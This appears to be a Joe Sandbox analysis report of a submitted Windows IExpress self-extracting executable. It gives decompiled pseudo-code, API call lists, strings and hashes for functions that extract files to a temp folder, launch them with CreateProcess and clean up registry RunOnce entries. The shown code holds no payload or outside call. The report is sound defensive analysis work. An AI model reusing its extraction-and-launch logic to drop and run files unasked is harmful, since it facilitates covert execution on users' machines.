0x010c25eb
0x010c2607
0x00000000
0x010c2609
0x010c261a
0x00000000
0x010c261a
0x00000000
0x010c258b
0x010c258b
0x010c259e
0x010c25b2
0x010c25ba
0x010c25cb
0x010c25d1
0x010c25d6
0x010c25da
0x010c25dd
0x010c25dd
0x010c25e3
0x010c25e3
0x010c25e3
0x010c258b
0x010c2589
0x010c262f
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000036,010C4096,010C4096,?,010C1ED3,00000001,00000000,?,?,010C4137,?), ref: 010C25B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,010C4096,?,010C1ED3,00000001,00000000,?,?,010C4137,?,010C4096), ref: 010C25CB
RegCloseKey.KERNELBASE(?,?,010C1ED3,00000001,00000000,?,?,010C4137,?,010C4096), ref: 010C25DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000036,010C4096,010C4096,?,010C1ED3,00000001,00000000,?,?,010C4137,?), ref: 010C25FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,010C4096,00000000,00000000,00000000,00000000,?,010C1ED3,00000001,00000000), ref: 010C261A

Strings

PendingFileRenameOperations, xrefs: 010C25C3
System\CurrentControlSet\Control\Session Manager, xrefs: 010C25A8
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 010C25F5

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: 53b17551fdb9191d1648fe695c5b4729602f5e4ce1ced80f7ec658aa74c3b8b2
Instruction ID: 080f20ee91990fc4c15db5424312c66be245ddda9655c59d097e20121730e078
Opcode Fuzzy Hash: 53b17551fdb9191d1648fe695c5b4729602f5e4ce1ced80f7ec658aa74c3b8b2
Instruction Fuzzy Hash: BF118635902228FF9B30DB969C0DDFFBEBCEF15BA1F104099B989A2100D6354A44DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 010C6A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t25;
				signed int _t26;
				signed int _t29;
				int _t30;
				signed int _t37;
				signed char _t41;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t60;
				void* _t62;
				void* _t67;
				void* _t68;

				L010C7155();
				_push(0x58);
				_push(0x10c72b8);
				E010C7208(__ebx, __edi, __esi);
				 *(_t62 - 0x20) = 0;
				GetStartupInfoW(_t62 - 0x68);
				 *((intOrPtr*)(_t62 - 4)) = 0;
				_t56 =  *((intOrPtr*)( *[fs:0x18] + 4));
				_t53 = 0;
				while(1) {
					asm("lock cmpxchg [edx], ecx");
					if(0 == 0) {
						break;
					}
					if(0 != _t56) {
						Sleep(0x3e8);
						continue;
					} else {
						_t58 = 1;
						_t53 = 1;
					}
					L7:
					_t67 =  *0x10c88b0 - _t58; // 0x2
					if(_t67 != 0) {
						__eflags =  *0x10c88b0; // 0x2
						if(__eflags != 0) {
							 *0x10c81e4 = _t58;
							goto L13;
						} else {
							 *0x10c88b0 = _t58;
							_t37 = E010C6C3F(0x10c10b8, 0x10c10c4); // executed
							__eflags = _t37;
							if(__eflags == 0) {
								goto L13;
							} else {
								 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
								_t30 = 0xff;
							}
						}
					} else {
						_push(0x1f);
						L010C6FF4();
						L13:
						_t68 =  *0x10c88b0 - _t58; // 0x2
						if(_t68 == 0) {
							_push(0x10c10b4);
							_push(0x10c10ac);
							L010C7202();
							 *0x10c88b0 = 2;
						}
						if(_t53 == 0) {
							 *0x10c88ac = 0;
						}
						_t71 =  *0x10c88b4;
						if( *0x10c88b4 != 0 && E010C7060(_t71, 0x10c88b4) != 0) {
							_t60 =  *0x10c88b4; // 0x0
							 *0x10ca288(0, 2, 0);
							 *_t60();
						}
						_t25 = __imp___acmdln; // 0x76665b9c
						_t59 =  *_t25;
						 *(_t62 - 0x1c) = _t59;
						_t54 =  *(_t62 - 0x20);
						while(1) {
							_t41 =  *_t59;
							if(_t41 > 0x20) {
								goto L32;
							}
							if(_t41 != 0) {
								if(_t54 != 0) {
									goto L32;
								} else {
									while(_t41 != 0 && _t41 <= 0x20) {
										_t59 = _t59 + 1;
										 *(_t62 - 0x1c) = _t59;
										_t41 =  *_t59;
									}
								}
							}
							__eflags =  *(_t62 - 0x3c) & 0x00000001;
							if(( *(_t62 - 0x3c) & 0x00000001) == 0) {
								_t29 = 0xa;
							} else {
								_t29 =  *(_t62 - 0x38) & 0x0000ffff;
							}
							_push(_t29);
							_t30 = E010C2BFB(0x10c0000, 0, _t59); // executed
							 *0x10c81e0 = _t30;
							__eflags =  *0x10c81f8;
							if( *0x10c81f8 == 0) {
								exit(_t30); // executed
								goto L32;
							}
							__eflags =  *0x10c81e4;
							if( *0x10c81e4 == 0) {
								__imp___cexit();
								_t30 =  *0x10c81e0; // 0x0
							}
							 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
							goto L40;
							L32:
							__eflags = _t41 - 0x22;
							if(_t41 == 0x22) {
								__eflags = _t54;
								_t15 = _t54 == 0;
								__eflags = _t15;
								_t54 = 0 | _t15;
								 *(_t62 - 0x20) = _t54;
							}
							_t26 = _t41 & 0x000000ff;
							__imp___ismbblead(_t26);
							__eflags = _t26;
							if(_t26 != 0) {
								_t59 = _t59 + 1;
								__eflags = _t59;
								 *(_t62 - 0x1c) = _t59;
							}
							_t59 = _t59 + 1;
							 *(_t62 - 0x1c) = _t59;
						}
					}
					L40:
					return E010C724D(_t30);
				}
				_t58 = 1;
				__eflags = 1;
				goto L7;
			}

0x010c6a60
0x010c6a6a
0x010c6a6c
0x010c6a71
0x010c6a78
0x010c6a7f
0x010c6a85
0x010c6a8e
0x010c6a91
0x010c6a93
0x010c6a9c
0x010c6aa2
0x00000000
0x00000000
0x010c6aa6
0x010c6ab4
0x00000000
0x010c6aa8
0x010c6aaa
0x010c6aab
0x010c6aab
0x010c6abf
0x010c6abf
0x010c6ac5
0x010c6ad1
0x010c6ad7
0x010c6b05
0x00000000
0x010c6ad9
0x010c6ad9
0x010c6ae9
0x010c6af0
0x010c6af2
0x00000000
0x010c6af4
0x010c6af4
0x010c6afb
0x010c6afb
0x010c6af2
0x010c6ac7
0x010c6ac7
0x010c6ac9
0x010c6b0b
0x010c6b0b
0x010c6b11
0x010c6b13
0x010c6b18
0x010c6b1d
0x010c6b24
0x010c6b24
0x010c6b30
0x010c6b39
0x010c6b39
0x010c6b3b
0x010c6b42
0x010c6b57
0x010c6b5f
0x010c6b65
0x010c6b65
0x010c6b67
0x010c6b6c
0x010c6b6e
0x010c6b71
0x010c6b74
0x010c6b74
0x010c6b79
0x00000000
0x00000000
0x010c6b7d
0x010c6b81
0x00000000
0x00000000
0x010c6b83
0x010c6b8c
0x010c6b8d
0x010c6b90
0x010c6b90
0x010c6b83
0x010c6b81
0x010c6b94
0x010c6b98
0x010c6ba2
0x010c6b9a
0x010c6b9a
0x010c6b9a
0x010c6ba3
0x010c6bab
0x010c6bb0
0x010c6bb5
0x010c6bbc
0x010c6bbf
0x00000000
0x010c6bbf
0x010c6c1e
0x010c6c25
0x010c6c27
0x010c6c2d
0x010c6c2d
0x010c6c32
0x00000000
0x010c6bc5
0x010c6bc5
0x010c6bc8
0x010c6bcc
0x010c6bce
0x010c6bce
0x010c6bd1
0x010c6bd3
0x010c6bd3
0x010c6bd6
0x010c6bda
0x010c6be1
0x010c6be3
0x010c6be5
0x010c6be5
0x010c6be6
0x010c6be6
0x010c6be9
0x010c6bea
0x010c6bea
0x010c6b74
0x010c6c39
0x010c6c3e
0x010c6c3e
0x010c6abe
0x010c6abe
0x00000000

APIs

GetStartupInfoW.KERNEL32(?,010C72B8,00000058), ref: 010C6A7F
Sleep.KERNEL32(000003E8), ref: 010C6AB4
_amsg_exit.MSVCRT ref: 010C6AC9
_initterm.MSVCRT ref: 010C6B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 010C6B49
exit.KERNELBASE ref: 010C6BBF
_ismbblead.MSVCRT ref: 010C6BDA

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: CurrentImageInfoNonwritableSleepStartup_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 359039474-0
Opcode ID: cc99d7c88bd299f3347b04c2b9a043fceb351fd9d95f4e02e68a05b339a9bc9d
Instruction ID: 41724d1c1c416049fe87cad2aad0b81fc874579e140672e19f3a30a4dc52b357
Opcode Fuzzy Hash: cc99d7c88bd299f3347b04c2b9a043fceb351fd9d95f4e02e68a05b339a9bc9d
Instruction Fuzzy Hash: EF41E471A44229DFDB719B6DD8047AE7BE5FB84F10F14805EE9C197381DB7A44808F94

Uniqueness

Uniqueness Score: -1.00%

Function 010C58C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E010C58C8(intOrPtr* __ecx) {
				void* _v8;
				intOrPtr _t6;
				void* _t10;
				void* _t12;
				void* _t14;
				signed char _t16;
				void* _t20;
				void* _t23;
				intOrPtr* _t27;
				CHAR* _t33;

				_push(__ecx);
				_t33 = __ecx;
				_t27 = __ecx;
				_t23 = __ecx + 1;
				do {
					_t6 =  *_t27;
					_t27 = _t27 + 1;
				} while (_t6 != 0);
				_t36 = _t27 - _t23 + 0x14;
				_t20 = LocalAlloc(0x40, _t27 - _t23 + 0x14);
				if(_t20 != 0) {
					E010C1680(_t20, _t36, _t33);
					E010C658A(_t20, _t36, "TMP4351$.TMP");
					_t10 = CreateFileA(_t20, 0x40000000, 0, 0, 1, 0x4000080, 0); // executed
					_v8 = _t10;
					LocalFree(_t20);
					_t12 = _v8;
					if(_t12 == 0xffffffff) {
						goto L4;
					} else {
						CloseHandle(_t12);
						_t16 = GetFileAttributesA(_t33); // executed
						if(_t16 == 0xffffffff || (_t16 & 0x00000010) == 0) {
							goto L4;
						} else {
							 *0x10c9124 = 0;
							_t14 = 1;
						}
					}
				} else {
					E010C44B9(0, 0x4b5, 0, 0, 0x10, 0);
					L4:
					 *0x10c9124 = E010C6285();
					_t14 = 0;
				}
				return _t14;
			}

0x010c58cd
0x010c58d1
0x010c58d3
0x010c58d5
0x010c58d8
0x010c58d8
0x010c58da
0x010c58db
0x010c58e1
0x010c58ed
0x010c58f1
0x010c591e
0x010c592c
0x010c5943
0x010c594a
0x010c594d
0x010c5953
0x010c5959
0x00000000
0x010c595b
0x010c595c
0x010c5963
0x010c596c
0x00000000
0x010c5972
0x010c5974
0x010c597a
0x010c597a
0x010c596c
0x010c58f3
0x010c5901
0x010c5906
0x010c590b
0x010c5910
0x010c5910
0x010c5918

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,010C5534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C58E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,010C5534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C5943
LocalFree.KERNEL32(00000000,?,010C5534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C594D
CloseHandle.KERNEL32(00000000,?,010C5534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,010C5534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 010C5963

Strings

TMP4351$.TMP, xrefs: 010C5923
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 010C58CD, 010C58CF, 010C5919, 010C5962

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$TMP4351$.TMP
API String ID: 747627703-3104274291
Opcode ID: ec13480f9cd10c5db53ad5cecea1877c4b7db6b842318f2f8f3bda31674d62b4
Instruction ID: 67879e8bdefe16bf2edc53a97a29725022607d088baccd56d1bc8b13e39e9ed6
Opcode Fuzzy Hash: ec13480f9cd10c5db53ad5cecea1877c4b7db6b842318f2f8f3bda31674d62b4
Instruction Fuzzy Hash: 46112671700215ABD7301F7A5C0CADF7E99EF8AAA4B10065DF5C6D32C5DA75A8058FA0

Uniqueness

Uniqueness Score: -1.00%

Function 010C3FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E010C3FEF(CHAR* __ecx, struct _STARTUPINFOA* __edx) {
				signed int _v8;
				char _v524;
				long _v528;
				struct _PROCESS_INFORMATION _v544;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				void* _t22;
				int _t25;
				intOrPtr* _t39;
				signed int _t44;
				void* _t49;
				signed int _t50;
				intOrPtr _t53;

				_t45 = __edx;
				_t20 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t20 ^ _t50;
				_t39 = __ecx;
				_t49 = 1;
				_t22 = 0;
				if(__ecx == 0) {
					L13:
					return E010C6CE0(_t22, _t39, _v8 ^ _t50, _t45, 0, _t49);
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t25 = CreateProcessA(0, __ecx, 0, 0, 0, 0x20, 0, 0, __edx,  &_v544); // executed
				if(_t25 == 0) {
					 *0x10c9124 = E010C6285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v524, 0x200, 0);
					_t45 = 0x4c4;
					E010C44B9(0, 0x4c4, _t39,  &_v524, 0x10, 0);
					L11:
					_t49 = 0;
					L12:
					_t22 = _t49;
					goto L13;
				}
				WaitForSingleObject(_v544.hProcess, 0xffffffff);
				_t34 = GetExitCodeProcess(_v544.hProcess,  &_v528); // executed
				_t44 = _v528;
				_t53 =  *0x10c8a28; // 0x0
				if(_t53 == 0) {
					_t34 =  *0x10c9a2c; // 0x0
					if((_t34 & 0x00000001) != 0 && (_t34 & 0x00000002) == 0) {
						_t34 = _t44 & 0xff000000;
						if((_t44 & 0xff000000) == 0xaa000000) {
							 *0x10c9a2c = _t44;
						}
					}
				}
				E010C411B(_t34, _t44);
				CloseHandle(_v544.hThread);
				CloseHandle(_v544);
				if(( *0x10c9a34 & 0x00000400) == 0 || _v528 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x010c3fef
0x010c3ffa
0x010c4001
0x010c4008
0x010c400a
0x010c400b
0x010c4010
0x010c410a
0x010c411a
0x010c411a
0x010c401c
0x010c401d
0x010c401e
0x010c401f
0x010c4033
0x010c403b
0x010c40ca
0x010c40e9
0x010c40f8
0x010c4101
0x010c4106
0x010c4106
0x010c4108
0x010c4108
0x00000000
0x010c4108
0x010c4049
0x010c405c
0x010c4062
0x010c4068
0x010c406e
0x010c4070
0x010c4077
0x010c407f
0x010c4089
0x010c408b
0x010c408b
0x010c4089
0x010c4077
0x010c4091
0x010c409c
0x010c40a8
0x010c40b8
0x00000000
0x010c40c2
0x00000000
0x010c40c2

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 010C4033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 010C4049
GetExitCodeProcess.KERNELBASE ref: 010C405C
CloseHandle.KERNEL32(?), ref: 010C409C
CloseHandle.KERNEL32(?), ref: 010C40A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 010C40DC
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 010C40E9

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 35deb9fc9cef67866b8bd6a1d304716878707c424cc3b096214d4e4eb4795e0a
Instruction ID: 9acb1ea58e87c7b929565143024a0b0f61aedfe4dac52a43ad0b08248ed2ddae
Opcode Fuzzy Hash: 35deb9fc9cef67866b8bd6a1d304716878707c424cc3b096214d4e4eb4795e0a
Instruction Fuzzy Hash: DC319E31640218AFEB709B69DC4CFAB77B8EBD4B44F2001ADF985D2191DA3649818F50

Uniqueness

Uniqueness Score: -1.00%

Function 010C51E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E010C51E5(void* __eflags) {
				int _t5;
				void* _t6;
				void* _t28;

				_t1 = E010C468F("UPROMPT", 0, 0) + 1; // 0x1
				_t28 = LocalAlloc(0x40, _t1);
				if(_t28 != 0) {
					if(E010C468F("UPROMPT", _t28, _t29) != 0) {
						_t5 = lstrcmpA(_t28, "<None>"); // executed
						if(_t5 != 0) {
							_t6 = E010C44B9(0, 0x3e9, _t28, 0, 0x20, 4);
							LocalFree(_t28);
							if(_t6 != 6) {
								 *0x10c9124 = 0x800704c7;
								L10:
								return 0;
							}
							 *0x10c9124 = 0;
							L6:
							return 1;
						}
						LocalFree(_t28);
						goto L6;
					}
					E010C44B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree(_t28);
					 *0x10c9124 = 0x80070714;
					goto L10;
				}
				E010C44B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x10c9124 = E010C6285();
				goto L10;
			}

0x010c51fb
0x010c5207
0x010c520b
0x010c523c
0x010c5268
0x010c5270
0x010c528b
0x010c5293
0x010c529c
0x010c52a6
0x010c52b0
0x00000000
0x010c52b0
0x010c529e
0x010c5279
0x00000000
0x010c527b
0x010c5273
0x00000000
0x010c5273
0x010c524a
0x010c5250
0x010c5256
0x00000000
0x010c5256
0x010c5219
0x010c5223
0x00000000

APIs

Part of subcall function 010C468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46A0
Part of subcall function 010C468F: SizeofResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46A9
Part of subcall function 010C468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46C3
Part of subcall function 010C468F: LoadResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46CC
Part of subcall function 010C468F: LockResource.KERNEL32(00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46D3
Part of subcall function 010C468F: memcpy_s.MSVCRT ref: 010C46E5
Part of subcall function 010C468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,010C2F4D,?,00000002,00000000), ref: 010C5201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 010C5250

Part of subcall function 010C44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010C4518
Part of subcall function 010C44B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 010C4554

Part of subcall function 010C6285: GetLastError.KERNEL32(010C5BBC), ref: 010C6285

Strings

<None>, xrefs: 010C5262
UPROMPT, xrefs: 010C51EF, 010C5230

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: 3e760b4fee590bb4fa161e4f78a267cc1db410dee94870f44ccc4797798262af
Instruction ID: 084d0384eab34208bae7267ea84b1d7d5fb4845876b112dc33b73ae8a5a2a9fd
Opcode Fuzzy Hash: 3e760b4fee590bb4fa161e4f78a267cc1db410dee94870f44ccc4797798262af
Instruction Fuzzy Hash: D011D0B9700205AFE3256B759C59B7FB1DEEBC9B84B10402DBAC2D6184EA7E9C004E24

Uniqueness

Uniqueness Score: -1.00%

Function 010C52B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E010C52B6(void* __ebx, char* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v268;
				signed int _t9;
				signed int _t11;
				void* _t21;
				void* _t29;
				CHAR** _t31;
				void* _t32;
				signed int _t33;

				_t28 = __edi;
				_t22 = __ecx;
				_t21 = __ebx;
				_t9 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t9 ^ _t33;
				_push(__esi);
				_t31 =  *0x10c91e0; // 0xc282e0
				if(_t31 != 0) {
					_push(__edi);
					do {
						_t29 = _t31;
						if( *0x10c8a24 == 0 &&  *0x10c9a30 == 0) {
							SetFileAttributesA( *_t31, 0x80); // executed
							DeleteFileA( *_t31); // executed
						}
						_t31 = _t31[1];
						LocalFree( *_t29);
						LocalFree(_t29);
					} while (_t31 != 0);
					_pop(_t28);
				}
				_t11 =  *0x10c8a20; // 0x0
				_pop(_t32);
				if(_t11 != 0 &&  *0x10c8a24 == 0 &&  *0x10c9a30 == 0) {
					_push(_t22);
					E010C1781( &_v268, 0x104, _t22, "C:\Users\alfons\AppData\Local\Temp\IXP000.TMP\");
					if(( *0x10c9a34 & 0x00000020) != 0) {
						E010C65E8( &_v268);
					}
					SetCurrentDirectoryA(".."); // executed
					_t22 =  &_v268;
					E010C2390( &_v268);
					_t11 =  *0x10c8a20; // 0x0
				}
				if( *0x10c9a40 != 1 && _t11 != 0) {
					_t11 = E010C1FE1(_t22); // executed
				}
				 *0x10c8a20 =  *0x10c8a20 & 0x00000000;
				return E010C6CE0(_t11, _t21, _v8 ^ _t33, 0x104, _t28, _t32);
			}

0x010c52b6
0x010c52b6
0x010c52b6
0x010c52c1
0x010c52c8
0x010c52cb
0x010c52cc
0x010c52d4
0x010c52d6
0x010c52d7
0x010c52de
0x010c52e0
0x010c52f2
0x010c52fa
0x010c52fa
0x010c5302
0x010c5305
0x010c530c
0x010c5312
0x010c5316
0x010c5316
0x010c5317
0x010c531c
0x010c531f
0x010c5333
0x010c5345
0x010c5351
0x010c5359
0x010c5359
0x010c5363
0x010c5369
0x010c536f
0x010c5374
0x010c5374
0x010c5381
0x010c5387
0x010c5387
0x010c538f
0x010c53a0

APIs

SetFileAttributesA.KERNELBASE(00C282E0,00000080,?,00000000), ref: 010C52F2
DeleteFileA.KERNELBASE(00C282E0), ref: 010C52FA
LocalFree.KERNEL32(00C282E0,?,00000000), ref: 010C5305
LocalFree.KERNEL32(00C282E0), ref: 010C530C
SetCurrentDirectoryA.KERNELBASE(010C11FC,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 010C5363

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 010C5334

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 2833751637-1193786559
Opcode ID: e27145f2800356476e99eb0c97ca0d315e3f960901a445b0c67b572bb34fd7e7
Instruction ID: b85c25af405366af5b602411d335f584510e4a09c95eaad7c8bd1ca7b14b2dd9
Opcode Fuzzy Hash: e27145f2800356476e99eb0c97ca0d315e3f960901a445b0c67b572bb34fd7e7
Instruction Fuzzy Hash: 1221D135600208DFEB719B28DD08BAD37F0BB54B44F14819DE8C657198DBBAA884CF80

Uniqueness

Uniqueness Score: -1.00%

Function 010C1FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C1FE1(void* __ecx) {
				void* _v8;
				long _t4;

				if( *0x10c8530 != 0) {
					_t4 = RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x20006,  &_v8); // executed
					if(_t4 == 0) {
						RegDeleteValueA(_v8, "wextract_cleanup0"); // executed
						return RegCloseKey(_v8);
					}
				}
				return _t4;
			}

0x010c1fee
0x010c2005
0x010c200d
0x010c2017
0x00000000
0x010c2020
0x010c200d
0x010c2029

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,010C538C,?,?,010C538C), ref: 010C2005
RegDeleteValueA.KERNELBASE(010C538C,wextract_cleanup0,?,?,010C538C), ref: 010C2017
RegCloseKey.ADVAPI32(010C538C,?,?,010C538C), ref: 010C2020

Strings

wextract_cleanup0, xrefs: 010C1FE7, 010C200F
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 010C1FFB

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: CloseDeleteOpenValue
